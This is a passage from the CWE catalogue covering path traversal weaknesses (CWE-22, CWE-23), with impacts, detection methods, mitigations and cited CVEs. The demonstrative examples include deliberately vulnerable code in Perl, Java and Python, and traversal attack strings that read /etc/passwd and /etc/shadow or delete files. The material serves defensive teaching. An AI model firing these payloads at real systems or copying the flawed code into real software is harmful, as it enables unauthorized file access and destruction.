Confidentiality	The attacker may be able to create or overwrite critical files that are used to execute code, such as programs or libraries.	
Availability		
Integrity	Modify Files or Directories	
	The attacker may be able to overwrite or create critical files, such as programs, libraries, or important data. If the targeted file is used for a security mechanism, then	

Scope	Impact	Likelihood
	<i>the attacker may be able to bypass that mechanism. For example, appending a new account at the end of a password file may allow an attacker to bypass authentication.</i>	
Confidentiality	Read Files or Directories <i>The attacker may be able read the contents of unexpected files and expose sensitive data. If the targeted file is used for a security mechanism, then the attacker may be able to bypass that mechanism. For example, by reading a password file, the attacker could conduct brute force password guessing attacks in order to break into an account on the system.</i>	
Availability	DoS: Crash, Exit, or Restart <i>The attacker may be able to overwrite, delete, or corrupt unexpected critical files such as programs, libraries, or important data. This may prevent the product from working at all and in the case of a protection mechanisms such as authentication, it has the potential to lockout every user of the product.</i>	

Detection Methods

Automated Static Analysis

Automated techniques can find areas where path traversal weaknesses exist. However, tuning or customization may be required to remove or de-prioritize path-traversal problems that are only exploitable by the product's administrator - or other privileged users - and thus potentially valid behavior or, at worst, a bug instead of a vulnerability.

Effectiveness = High

Manual Static Analysis

Manual white box techniques may be able to provide sufficient code coverage and reduction of false positives if all file access operations can be assessed within limited time constraints.

Effectiveness = High

Automated Static Analysis - Binary or Bytecode

According to SOAR, the following detection techniques may be useful: Highly cost effective: Bytecode Weakness Analysis - including disassembler + source code weakness analysis Cost effective for partial coverage: Binary Weakness Analysis - including disassembler + source code weakness analysis

Effectiveness = High

Manual Static Analysis - Binary or Bytecode

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Binary / Bytecode disassembler - then use manual analysis for vulnerabilities & anomalies

Effectiveness = SOAR Partial

Dynamic Analysis with Automated Results Interpretation

According to SOAR, the following detection techniques may be useful: Highly cost effective: Web Application Scanner Web Services Scanner Database Scanners

Effectiveness = High

Dynamic Analysis with Manual Results Interpretation

According to SOAR, the following detection techniques may be useful: Highly cost effective: Fuzz Tester Framework-based Fuzzer

Effectiveness = High

Manual Static Analysis - Source Code

According to SOAR, the following detection techniques may be useful: Highly cost effective: Manual Source Code Review (not inspections) Cost effective for partial coverage: Focused Manual Spotcheck - Focused manual analysis of source

Effectiveness = High

Automated Static Analysis - Source Code

According to SOAR, the following detection techniques may be useful: Highly cost effective: Source code Weakness Analyzer Context-configured Source Code Weakness Analyzer

Effectiveness = High

Architecture or Design Review

According to SOAR, the following detection techniques may be useful: Highly cost effective: Formal Methods / Correct-By-Construction Cost effective for partial coverage: Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.)

Effectiveness = High

Potential Mitigations

Phase: Implementation

Strategy = Input Validation

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright. When validating filenames, use stringent allowlists that limit the character set to be used. If feasible, only allow a single "." character in the filename to avoid weaknesses such as CWE-23, and exclude directory separators such as "/" to avoid CWE-36. Use a list of allowable file extensions, which will help to avoid CWE-434. Do not rely exclusively on a filtering mechanism that removes potentially dangerous characters. This is equivalent to a denylist, which may be incomplete (CWE-184). For example, filtering "/" is insufficient protection if the filesystem also supports the use of "\" as a directory separator. Another possible error could occur when the filtering is applied in a way that still produces dangerous data (CWE-182). For example, if "../" sequences are removed from the ".../.../" string in a sequential fashion, two instances of "../" would be removed from the original string, but the remaining characters would still form the "../" string.

Phase: Architecture and Design

For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.

Phase: Implementation*Strategy = Input Validation*

Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass allowlist validation schemes by introducing dangerous inputs after they have been checked. Use a built-in path canonicalization function (such as `realpath()` in C) that produces the canonical version of the pathname, which effectively removes "." sequences and symbolic links (CWE-23, CWE-59). This includes: `realpath()` in C `getCanonicalPath()` in Java `GetFullPath()` in ASP.NET `realpath()` or `abs_path()` in Perl `realpath()` in PHP

Phase: Architecture and Design*Strategy = Libraries or Frameworks*

Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.

Phase: Operation*Strategy = Firewall*

Use an application firewall that can detect attacks against this weakness. It can be beneficial in cases in which the code cannot be fixed (because it is controlled by a third party), as an emergency prevention measure while more comprehensive software assurance measures are applied, or to provide defense in depth.

Effectiveness = Moderate

An application firewall might not cover all possible input vectors. In addition, attack techniques might be available to bypass the protection mechanism, such as using malformed inputs that can still be processed by the component that receives those inputs. Depending on functionality, an application firewall might inadvertently reject or modify legitimate requests. Finally, some manual effort may be required for customization.

Phase: Architecture and Design**Phase: Operation***Strategy = Environment Hardening*

Run your code using the lowest privileges that are required to accomplish the necessary tasks [REF-76]. If possible, create isolated accounts with limited privileges that are only used for a single task. That way, a successful attack will not immediately give the attacker access to the rest of the software or its environment. For example, database applications rarely need to run as the database administrator, especially in day-to-day operations.

Phase: Architecture and Design*Strategy = Enforcement by Conversion*

When the set of acceptable objects, such as filenames or URLs, is limited or known, create a mapping from a set of fixed input values (such as numeric IDs) to the actual filenames or URLs, and reject all other inputs. For example, ID 1 could map to "inbox.txt" and ID 2 could map to "profile.txt". Features such as the ESAPI `AccessReferenceMap` [REF-185] provide this capability.

Phase: Architecture and Design**Phase: Operation***Strategy = Sandbox or Jail*

Run the code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which files can be accessed in a particular directory or which commands can be executed by the software. OS-level examples

include the Unix chroot jail, AppArmor, and SELinux. In general, managed code may provide some protection. For example, `java.io.FilePermission` in the Java SecurityManager allows the software to specify restrictions on file operations. This may not be a feasible solution, and it only limits the impact to the operating system; the rest of the application may still be subject to compromise. Be careful to avoid CWE-243 and other weaknesses related to jails.

Effectiveness = Limited

The effectiveness of this mitigation depends on the prevention capabilities of the specific sandbox or jail being used and might only help to reduce the scope of an attack, such as restricting the attacker to certain system calls or limiting the portion of the file system that can be accessed.

Phase: Architecture and Design

Phase: Operation

Strategy = Attack Surface Reduction

Store library, include, and utility files outside of the web document root, if possible. Otherwise, store them in a separate directory and use the web server's access control capabilities to prevent attackers from directly requesting them. One common practice is to define a fixed constant in each calling program, then check for the existence of the constant in the library/include file; if the constant does not exist, then the file was directly requested, and it can exit immediately. This significantly reduces the chance of an attacker being able to bypass any protection mechanisms that are in the base program but not in the include files. It will also reduce the attack surface.

Phase: Implementation

Ensure that error messages only contain minimal details that are useful to the intended audience and no one else. The messages need to strike the balance between being too cryptic (which can confuse users) or being too detailed (which may reveal more than intended). The messages should not reveal the methods that were used to determine the error. Attackers can use detailed information to refine or optimize their original attack, thereby increasing their chances of success. If errors must be captured in some detail, record them in log messages, but consider what could occur if the log messages can be viewed by attackers. Highly sensitive information such as passwords should never be saved to log files. Avoid inconsistent messaging that might accidentally tip off an attacker about internal state, such as whether a user account exists or not. In the context of path traversal, error messages which disclose path information can help attackers craft the appropriate attack strings to move through the file system hierarchy.

Phase: Operation

Phase: Implementation

Strategy = Environment Hardening

When using PHP, configure the application so that it does not use `register_globals`. During implementation, develop the application so that it does not rely on this feature, but be wary of implementing a `register_globals` emulation that is subject to weaknesses such as CWE-95, CWE-621, and similar issues.

Demonstrative Examples

Example 1:

The following code could be for a social networking application in which each user's profile information is stored in a separate file. All files are stored in a single directory.

Example Language: Perl

(Bad)

```
my $dataPath = "/users/cwe/profiles";
my $username = param("user");
my $profilePath = $dataPath . "/" . $username;
open(my $fh, "<", $profilePath) || ExitError("profile read error: $profilePath");
```

```
print "<ul>\n";
while (<$fh>) {
    print "<li>$ _</li>\n";
}
print "</ul>\n";
```

While the programmer intends to access files such as "/users/cwe/profiles/alice" or "/users/cwe/profiles/bob", there is no verification of the incoming user parameter. An attacker could provide a string such as:

Example Language:

(Attack)

```
../../../../etc/passwd
```

The program would generate a profile pathname like this:

Example Language:

(Result)

```
/users/cwe/profiles/../../../../etc/passwd
```

When the file is opened, the operating system resolves the "../../../../" during path canonicalization and actually accesses this file:

Example Language:

(Result)

```
/etc/passwd
```

As a result, the attacker could read the entire text of the password file.

Notice how this code also contains an error message information leak (CWE-209) if the user parameter does not produce a file that exists: the full pathname is provided. Because of the lack of output encoding of the file that is retrieved, there might also be a cross-site scripting problem (CWE-79) if profile contains any HTML, but other code would need to be examined.

Example 2:

In the example below, the path to a dictionary file is read from a system property and used to initialize a File object.

Example Language: Java

(Bad)

```
String filename = System.getProperty("com.domain.application.dictionaryFile");
File dictionaryFile = new File(filename);
```

However, the path is not validated or modified to prevent it from containing relative or absolute path sequences before creating the File object. This allows anyone who can control the system property to determine what file is used. Ideally, the path should be resolved relative to some kind of application or user home directory.

Example 3:

The following code takes untrusted input and uses a regular expression to filter "../../../../" from the input. It then appends this result to the /home/user/ directory and attempts to read the file in the final resulting path.

Example Language: Perl

(Bad)

```
my $Username = GetUntrustedInput();
$Username =~ s/\.\.//;
my $filename = "/home/user/" . $Username;
ReadAndSendFile($filename);
```


Since the regular expression does not have the /g global match modifier, it only removes the first instance of "../" it comes across. So an input value such as:

Example Language:

(Attack)

```
../../../../etc/passwd
```

will have the first "../" stripped, resulting in:

Example Language:

(Result)

```
../../../../etc/passwd
```

This value is then concatenated with the /home/user/ directory:

Example Language:

(Result)

```
/home/user../../../../etc/passwd
```

which causes the /etc/passwd file to be retrieved once the operating system has resolved the ../ sequences in the pathname. This leads to relative path traversal (CWE-23).

Example 4:

The following code attempts to validate a given input path by checking it against an allowlist and once validated delete the given file. In this specific case, the path is considered valid if it starts with the string "/safe_dir/".

Example Language: Java

(Bad)

```
String path = getInputPath();
if (path.startsWith("/safe_dir/"))
{
    File f = new File(path);
    f.delete()
}
```

An attacker could provide an input such as this:

Example Language:

(Attack)

```
/safe_dir../important.dat
```

The software assumes that the path is valid because it starts with the "/safe_path/" sequence, but the "../" sequence will cause the program to delete the important.dat file in the parent directory

Example 5:

The following code demonstrates the unrestricted upload of a file with a Java servlet and a path traversal vulnerability. The action attribute of an HTML form is sending the upload file request to the Java servlet.

Example Language: HTML

(Good)

```
<form action="FileUploadServlet" method="post" enctype="multipart/form-data">
Choose a file to upload:
<input type="file" name="filename"/>
<br/>
<input type="submit" name="submit" value="Submit"/>
</form>
```

When submitted the Java servlet's doPost method will receive the request, extract the name of the file from the Http request header, read the file contents from the request and output the file to the local upload directory.

Example Language: Java

(Bad)

```
public class FileUploadServlet extends HttpServlet {
    ...
    protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException,
    IOException {
        response.setContentType("text/html");
        PrintWriter out = response.getWriter();
        String contentType = request.getContentType();
        // the starting position of the boundary header
        int ind = contentType.indexOf("boundary=");
        String boundary = contentType.substring(ind+9);
        String pLine = new String();
        String uploadLocation = new String(UPLOAD_DIRECTORY_STRING); //Constant value
        // verify that content type is multipart form data
        if (contentType != null && contentType.indexOf("multipart/form-data") != -1) {
            // extract the filename from the Http header
            BufferedReader br = new BufferedReader(new InputStreamReader(request.getInputStream()));
            ...
            pLine = br.readLine();
            String filename = pLine.substring(pLine.lastIndexOf("\\"), pLine.lastIndexOf("."));
            ...
            // output the file to the local upload directory
            try {
                BufferedWriter bw = new BufferedWriter(new FileWriter(uploadLocation+filename, true));
                for (String line; (line=br.readLine())!=null; ) {
                    if (line.indexOf(boundary) == -1) {
                        bw.write(line);
                        bw.newLine();
                        bw.flush();
                    }
                }
            } //end of for loop
            bw.close();
        } catch (IOException ex) {...}
        // output successful upload response HTML page
    }
    // output unsuccessful upload response HTML page
    else
    {...}
}
...
}
```

CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')

This code does not perform a check on the type of the file being uploaded (CWE-434). This could allow an attacker to upload any executable file or other file with malicious code.

Additionally, the creation of the BufferedWriter object is subject to relative path traversal (CWE-23). Since the code does not check the filename that is provided in the header, an attacker can use "../" sequences to write to files outside of the intended directory. Depending on the executing environment, the attacker may be able to specify arbitrary files to write to, leading to a wide variety of consequences, from code execution, XSS (CWE-79), or system crash.

Example 6:

This script intends to read a user-supplied file from the current directory. The user inputs the relative path to the file and the script uses Python's os.path.join() function to combine the path to the current working directory with the provided path to the specified file. This results in an absolute path to the desired file. If the file does not exist when the script attempts to read it, an error is printed to the user.

Example Language: Python

(Bad)

```
import os
import sys
def main():
    filename = sys.argv[1]
    path = os.path.join(os.getcwd(), filename)
    try:
        with open(path, 'r') as f:
            file_data = f.read()
    except FileNotFoundError as e:
        print("Error - file not found")
    main()
```

However, if the user supplies an absolute path, the `os.path.join()` function will discard the path to the current working directory and use only the absolute path provided. For example, if the current working directory is `/home/user/documents`, but the user inputs `/etc/passwd`, `os.path.join()` will use only `/etc/passwd`, as it is considered an absolute path. In the above scenario, this would cause the script to access and read the `/etc/passwd` file.

Example Language: Python

(Good)

```
import os
import sys
def main():
    filename = sys.argv[1]
    path = os.path.normpath(f"{os.getcwd()}{os.sep}{filename}")
    try:
        with open(path, 'r') as f:
            file_data = f.read()
    except FileNotFoundError as e:
        print("Error - file not found")
    main()
```

The constructed path string uses `os.sep` to add the appropriate separation character for the given operating system (e.g. `\` or `/`) and the call to `os.path.normpath()` removes any additional slashes that may have been entered - this may occur particularly when using a Windows path. By putting the pieces of the path string together in this fashion, the script avoids a call to `os.path.join()` and any potential issues that might arise if an absolute path is entered. With this version of the script, if the current working directory is `/home/user/documents`, and the user inputs `/etc/passwd`, the resulting path will be `/home/user/documents/etc/passwd`. The user is therefore contained within the current working directory as intended.

Observed Examples

Reference	Description
CVE-2022-45918	Chain: a learning management tool debugger uses external input to locate previous session logs (CWE-73) and does not properly validate the given path (CWE-20), allowing for filesystem path traversal using <code>"../"</code> sequences (CWE-24) https://www.cve.org/CVERecord?id=CVE-2022-45918
CVE-2019-20916	Python package manager does not correctly restrict the filename specified in a Content-Disposition header, allowing arbitrary file read using path traversal sequences such as <code>"../"</code> https://www.cve.org/CVERecord?id=CVE-2019-20916
CVE-2022-31503	Python package constructs filenames using an unsafe <code>os.path.join</code> call on untrusted input, allowing absolute path traversal because <code>os.path.join</code> resets the pathname to an absolute path that is specified as part of the input. https://www.cve.org/CVERecord?id=CVE-2022-31503
CVE-2022-24877	directory traversal in Go-based Kubernetes operator app allows accessing data from the controller's pod file system via <code>../</code> sequences in a yaml file

Reference	Description
	https://www.cve.org/CVERecord?id=CVE-2022-24877
CVE-2021-21972	Chain: Cloud computing virtualization platform does not require authentication for upload of a tar format file (CWE-306), then uses .. path traversal sequences (CWE-23) in the file to access unexpected files, as exploited in the wild per CISA KEV.
	https://www.cve.org/CVERecord?id=CVE-2021-21972
CVE-2020-4053	a Kubernetes package manager written in Go allows malicious plugins to inject path traversal sequences into a plugin archive ("Zip slip") to copy a file outside the intended directory
	https://www.cve.org/CVERecord?id=CVE-2020-4053
CVE-2020-3452	Chain: security product has improper input validation (CWE-20) leading to directory traversal (CWE-22), as exploited in the wild per CISA KEV.
	https://www.cve.org/CVERecord?id=CVE-2020-3452
CVE-2019-10743	Go-based archive library allows extraction of files to locations outside of the target folder with "../" path traversal sequences in filenames in a zip file, aka "Zip Slip"
	https://www.cve.org/CVERecord?id=CVE-2019-10743
CVE-2010-0467	Newsletter module allows reading arbitrary files using "../" sequences.
	https://www.cve.org/CVERecord?id=CVE-2010-0467
CVE-2006-7079	Chain: PHP app uses extract for register_globals compatibility layer (CWE-621), enabling path traversal (CWE-22)
	https://www.cve.org/CVERecord?id=CVE-2006-7079
CVE-2009-4194	FTP server allows deletion of arbitrary files using ".." in the DELE command.
	https://www.cve.org/CVERecord?id=CVE-2009-4194
CVE-2009-4053	FTP server allows creation of arbitrary directories using ".." in the MKD command.
	https://www.cve.org/CVERecord?id=CVE-2009-4053
CVE-2009-0244	FTP service for a Bluetooth device allows listing of directories, and creation or reading of files using ".." sequences.
	https://www.cve.org/CVERecord?id=CVE-2009-0244
CVE-2009-4013	Software package maintenance program allows overwriting arbitrary files using "../" sequences.
	https://www.cve.org/CVERecord?id=CVE-2009-4013
CVE-2009-4449	Bulletin board allows attackers to determine the existence of files using the avatar.
	https://www.cve.org/CVERecord?id=CVE-2009-4449
CVE-2009-4581	PHP program allows arbitrary code execution using ".." in filenames that are fed to the include() function.
	https://www.cve.org/CVERecord?id=CVE-2009-4581
CVE-2010-0012	Overwrite of files using a .. in a Torrent file.
	https://www.cve.org/CVERecord?id=CVE-2010-0012
CVE-2010-0013	Chat program allows overwriting files using a custom smiley request.
	https://www.cve.org/CVERecord?id=CVE-2010-0013
CVE-2008-5748	Chain: external control of values for user's desired language and theme enables path traversal.
	https://www.cve.org/CVERecord?id=CVE-2008-5748
CVE-2009-1936	Chain: library file sends a redirect if it is directly requested but continues to execute, allowing remote file inclusion and path traversal.
	https://www.cve.org/CVERecord?id=CVE-2009-1936

Functional Areas

- File Processing

Affected Resources

- File or Directory

MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	V	635	Weaknesses Originally Used by NVD from 2008 to 2016	635	2552
MemberOf	C	715	OWASP Top Ten 2007 Category A4 - Insecure Direct Object Reference	629	2331
MemberOf	C	723	OWASP Top Ten 2004 Category A2 - Broken Access Control	711	2335
MemberOf	C	743	CERT C Secure Coding Standard (2008) Chapter 10 - Input Output (FIO)	734	2347
MemberOf	C	802	2010 Top 25 - Risky Resource Management	800	2354
MemberOf	C	813	OWASP Top Ten 2010 Category A4 - Insecure Direct Object References	809	2357
MemberOf	C	865	2011 Top 25 - Risky Resource Management	900	2371
MemberOf	C	877	CERT C++ Secure Coding Section 09 - Input Output (FIO)	868	2377
MemberOf	V	884	CWE Cross-section	884	2567
MemberOf	C	932	OWASP Top Ten 2013 Category A4 - Insecure Direct Object References	928	2390
MemberOf	C	981	SFP Secondary Cluster: Path Traversal	888	2409
MemberOf	C	1031	OWASP Top Ten 2017 Category A5 - Broken Access Control	1026	2437
MemberOf	C	1131	CISQ Quality Measures (2016) - Security	1128	2442
MemberOf	C	1179	SEI CERT Perl Coding Standard - Guidelines 01. Input Validation and Data Sanitization (IDS)	1178	2465
MemberOf	V	1200	Weaknesses in the 2019 CWE Top 25 Most Dangerous Software Errors	1200	2587
MemberOf	C	1308	CISQ Quality Measures - Security	1305	2485
MemberOf	V	1337	Weaknesses in the 2021 CWE Top 25 Most Dangerous Software Weaknesses	1337	2589
MemberOf	V	1340	CISQ Data Protection Measures	1340	2590
MemberOf	C	1345	OWASP Top Ten 2021 Category A01:2021 - Broken Access Control	1344	2487
MemberOf	V	1350	Weaknesses in the 2020 CWE Top 25 Most Dangerous Software Weaknesses	1350	2594
MemberOf	V	1387	Weaknesses in the 2022 CWE Top 25 Most Dangerous Software Weaknesses	1387	2597
MemberOf	C	1404	Comprehensive Categorization: File Handling	1400	2529
MemberOf	V	1425	Weaknesses in the 2023 CWE Top 25 Most Dangerous Software Weaknesses	1425	2600

Notes

Relationship

Pathname equivalence can be regarded as a type of canonicalization error.

Relationship

Some pathname equivalence issues are not directly related to directory traversal, rather are used to bypass security-relevant checks for whether a file/directory can be accessed by the attacker

(e.g. a trailing "/" on a filename could bypass access rules that don't expect a trailing /, causing a server to provide the file when it normally would not).

Terminology

Like other weaknesses, terminology is often based on the types of manipulations used, instead of the underlying weaknesses. Some people use "directory traversal" only to refer to the injection of ".." and equivalent sequences whose specific meaning is to traverse directories. Other variants like "absolute pathname" and "drive letter" have the *effect* of directory traversal, but some people may not call it such, since it doesn't involve ".." or equivalent.

Research Gap

Many variants of path traversal attacks are probably under-studied with respect to root cause. CWE-790 and CWE-182 begin to cover part of this gap.

Research Gap

Incomplete diagnosis or reporting of vulnerabilities can make it difficult to know which variant is affected. For example, a researcher might say that ".." is vulnerable, but not test "../" which may also be vulnerable. Any combination of directory separators ("/", "\", etc.) and numbers of "." (e.g. "....") can produce unique variants; for example, the "//../" variant is not listed (CVE-2004-0325). See this entry's children and lower-level descendants.

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Path Traversal
OWASP Top Ten 2007	A4	CWE More Specific	Insecure Direct Object Reference
OWASP Top Ten 2004	A2	CWE More Specific	Broken Access Control
CERT C Secure Coding	FIO02-C		Canonicalize path names originating from untrusted sources
SEI CERT Perl Coding Standard	IDS00-PL	Exact	Canonicalize path names before validating them
WASC	33		Path Traversal
Software Fault Patterns	SFP16		Path Traversal
OMG ASCSM	ASCSM-CWE-22		

Related Attack Patterns

CAPEC-ID	Attack Pattern Name
64	Using Slashes and URL Encoding Combined to Bypass Validation Logic
76	Manipulating Web Input to File System Calls
78	Using Escaped Slashes in Alternate Encoding
79	Using Slashes in Alternate Encoding
126	Path Traversal

References

[REF-7]Michael Howard and David LeBlanc. "Writing Secure Code". 2nd Edition. 2002 December 4. Microsoft Press. < <https://www.microsoftpressstore.com/store/writing-secure-code-9780735617223> >.

[REF-45]OWASP. "OWASP Enterprise Security API (ESAPI) Project". < <http://www.owasp.org/index.php/ESAPI> >.

[REF-185]OWASP. "Testing for Path Traversal (OWASP-AZ-001)". < [http://www.owasp.org/index.php/Testing_for_Path_Traversal_\(OWASP-AZ-001\)](http://www.owasp.org/index.php/Testing_for_Path_Traversal_(OWASP-AZ-001)) >.

[REF-186]Johannes Ullrich. "Top 25 Series - Rank 7 - Path Traversal". 2010 March 9. SANS Software Security Institute. < <https://www.sans.org/blog/top-25-series-rank-7-path-traversal/> >.2023-04-07.

[REF-76]Sean Barnum and Michael Gegick. "Least Privilege". 2005 September 4. < <https://web.archive.org/web/20211209014121/https://www.cisa.gov/uscert/bsi/articles/knowledge/principles/least-privilege> >.2023-04-07.

[REF-62]Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". 1st Edition. 2006. Addison Wesley.

[REF-962]Object Management Group (OMG). "Automated Source Code Security Measure (ASCSM)". 2016 January. < <http://www.omg.org/spec/ASCSM/1.0/> >.

CWE-23: Relative Path Traversal

Weakness ID : 23

Structure : Simple

Abstraction : Base

Description

The product uses external input to construct a pathname that should be within a restricted directory, but it does not properly neutralize sequences such as ".." that can resolve to a location that is outside of that directory.














Extended Description

This allows attackers to traverse the file system to access files or directories that are outside of the restricted directory.


Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.


Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf		22	Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')	33
ParentOf		24	Path Traversal: '../filedir'	53
ParentOf		25	Path Traversal: '/../filedir'	54
ParentOf		26	Path Traversal: '/dir../filename'	56
ParentOf		27	Path Traversal: 'dir/../../filename'	58
ParentOf		28	Path Traversal: '..filedir'	59
ParentOf		29	Path Traversal: '\..filename'	61
ParentOf		30	Path Traversal: 'dir\..filename'	63
ParentOf		31	Path Traversal: 'dir\..\..filename'	65
ParentOf		32	Path Traversal: '...' (Triple Dot)	67
ParentOf		33	Path Traversal: '...' (Multiple Dot)	69
ParentOf		34	Path Traversal: '..../'	71
ParentOf		35	Path Traversal: '.../.../'	73

Relevant to the view "CISQ Quality Measures (2020)" (CWE-1305)

Nature	Type	ID	Name	Page
ChildOf		22	Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')	33

Relevant to the view "CISQ Data Protection Measures" (CWE-1340)

Nature	Type	ID	Name	Page
ChildOf		22	Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')	33

Applicable Platforms

Language : Not Language-Specific (*Prevalence = Undetermined*)

Alternate Terms

Zip Slip : "Zip slip" is an attack that uses file archives (e.g., ZIP, tar, rar, etc.) that contain filenames with path traversal sequences that cause the files to be written outside of the directory under which the archive is expected to be extracted [REF-1282]. It is most commonly used for relative path traversal (CWE-23) and link following (CWE-59).

Common Consequences

Scope	Impact	Likelihood
Integrity Confidentiality Availability	Execute Unauthorized Code or Commands <i>The attacker may be able to create or overwrite critical files that are used to execute code, such as programs or libraries.</i>	
Integrity	Modify Files or Directories <i>The attacker may be able to overwrite or create critical files, such as programs, libraries, or important data. If the targeted file is used for a security mechanism, then the attacker may be able to bypass that mechanism. For example, appending a new account at the end of a password file may allow an attacker to bypass authentication.</i>	
Confidentiality	Read Files or Directories <i>The attacker may be able read the contents of unexpected files and expose sensitive data. If the targeted file is used for a security mechanism, then the attacker may be able to bypass that mechanism. For example, by reading a password file, the attacker could conduct brute force password guessing attacks in order to break into an account on the system.</i>	
Availability	DoS: Crash, Exit, or Restart <i>The attacker may be able to overwrite, delete, or corrupt unexpected critical files such as programs, libraries, or important data. This may prevent the product from working at all and in the case of a protection mechanisms such as authentication, it has the potential to lockout every user of the product.</i>	

Detection Methods

Automated Static Analysis

Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)

Effectiveness = High

Potential Mitigations

Phase: Implementation

Strategy = Input Validation

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright. When validating filenames, use stringent allowlists that limit the character set to be used. If feasible, only allow a single "." character in the filename to avoid weaknesses such as CWE-23, and exclude directory separators such as "/" to avoid CWE-36. Use a list of allowable file extensions, which will help to avoid CWE-434. Do not rely exclusively on a filtering mechanism that removes potentially dangerous characters. This is equivalent to a denylist, which may be incomplete (CWE-184). For example, filtering "/" is insufficient protection if the filesystem also supports the use of "\" as a directory separator. Another possible error could occur when the filtering is applied in a way that still produces dangerous data (CWE-182). For example, if "../" sequences are removed from the ".../.../" string in a sequential fashion, two instances of "../" would be removed from the original string, but the remaining characters would still form the "../" string.

Phase: Implementation

Strategy = Input Validation

Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass allowlist validation schemes by introducing dangerous inputs after they have been checked. Use a built-in path canonicalization function (such as `realpath()` in C) that produces the canonical version of the pathname, which effectively removes "." sequences and symbolic links (CWE-23, CWE-59). This includes: `realpath()` in C `getCanonicalPath()` in Java `GetFullPath()` in ASP.NET `realpath()` or `abs_path()` in Perl `realpath()` in PHP

Demonstrative Examples

Example 1:

The following URLs are vulnerable to this attack:

Example Language:

(Bad)

```
http://example.com.br/get-files.jsp?file=report.pdf
http://example.com.br/get-page.php?home=aaa.html
http://example.com.br/some-page.asp?page=index.html
```

A simple way to execute this attack is like this:

Example Language:

(Attack)

```
http://example.com.br/get-files?file=../../../../somedir/somefile
http://example.com.br/../../../../etc/shadow
http://example.com.br/get-files?file=../../../../etc/passwd
```

Example 2:

The following code could be for a social networking application in which each user's profile information is stored in a separate file. All files are stored in a single directory.

*Example Language: Perl**(Bad)*

```
my $dataPath = "/users/cwe/profiles";
my $username = param("user");
my $profilePath = $dataPath . "/" . $username;
open(my $fh, "<", $profilePath) || ExitError("profile read error: $profilePath");
print "<ul>\n";
while (<$fh>) {
    print "<li>$ _</li>\n";
}
print "</ul>\n";
```

While the programmer intends to access files such as "/users/cwe/profiles/alice" or "/users/cwe/profiles/bob", there is no verification of the incoming user parameter. An attacker could provide a string such as:

*Example Language:**(Attack)*

```
../../../../etc/passwd
```

The program would generate a profile pathname like this:

*Example Language:**(Result)*

```
/users/cwe/profiles/../../../../etc/passwd
```

When the file is opened, the operating system resolves the "../../../../" during path canonicalization and actually accesses this file:

*Example Language:**(Result)*

```
/etc/passwd
```

As a result, the attacker could read the entire text of the password file.

Notice how this code also contains an error message information leak (CWE-209) if the user parameter does not produce a file that exists: the full pathname is provided. Because of the lack of output encoding of the file that is retrieved, there might also be a cross-site scripting problem (CWE-79) if profile contains any HTML, but other code would need to be examined.

Example 3:

The following code demonstrates the unrestricted upload of a file with a Java servlet and a path traversal vulnerability. The action attribute of an HTML form is sending the upload file request to the Java servlet.

*Example Language: HTML**(Good)*

```
<form action="FileUploadServlet" method="post" enctype="multipart/form-data">
Choose a file to upload:
<input type="file" name="filename"/>
<br/>
<input type="submit" name="submit" value="Submit"/>
</form>
```

When submitted the Java servlet's doPost method will receive the request, extract the name of the file from the Http request header, read the file contents from the request and output the file to the local upload directory.

Example Language: Java

(Bad)

```
public class FileUploadServlet extends HttpServlet {
    ...
    protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException,
    IOException {
        response.setContentType("text/html");
        PrintWriter out = response.getWriter();
